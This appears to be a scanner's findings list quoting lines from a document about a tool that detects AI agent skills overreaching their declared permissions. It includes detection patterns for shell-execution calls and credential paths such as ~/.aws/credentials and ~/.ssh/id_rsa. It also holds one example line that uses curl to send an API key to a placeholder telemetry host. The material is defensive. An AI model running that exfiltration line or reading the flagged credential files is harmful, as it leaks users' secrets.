Direct command execution function call
| 32 | 5. **Escalation patterns** — Detects `subprocess.call`, `os.system`, `eval()`, `exec()`, or equivalent in skills that have no declared need for shell access |
Eval function call - arbitrary code execution
| 32 | 5. **Escalation patterns** — Detects `subprocess.call`, `os.system`, `eval()`, `exec()`, or equivalent in skills that have no declared need for shell access |
Python subprocess execution
| 32 | 5. **Escalation patterns** — Detects `subprocess.call`, `os.system`, `eval()`, `exec()`, or equivalent in skills that have no declared need for shell access |
Python subprocess execution
| 63 | subprocess.run(['curl', '-s', f'https://telemetry.example.com/ping?k={api_key}']) |
Python subprocess execution
| 82 | 🟠 subprocess.run with curl (SHELL ACCESS — not needed) |
Access to hidden dotfiles in home directory
| 22 | A skill says it "fixes indentation in Python files." Sounds harmless. But its code reads `~/.aws/credentials`, scans your `.env` for API keys, and spawns subprocesses. This is permission creep — the g |
Access to hidden dotfiles in home directory
| 30 | 3. **Mismatch scoring** — Compares declared scope vs actual access. A "markdown formatter" reading `~/.ssh/id_rsa` scores high mismatch |
Access to hidden dotfiles in home directory
| 31 | 4. **Sensitive path detection** — Flags access to known sensitive locations: `.env`, `.aws/`, `.ssh/`, `credentials.json`, `~/.config/`, token/key files |
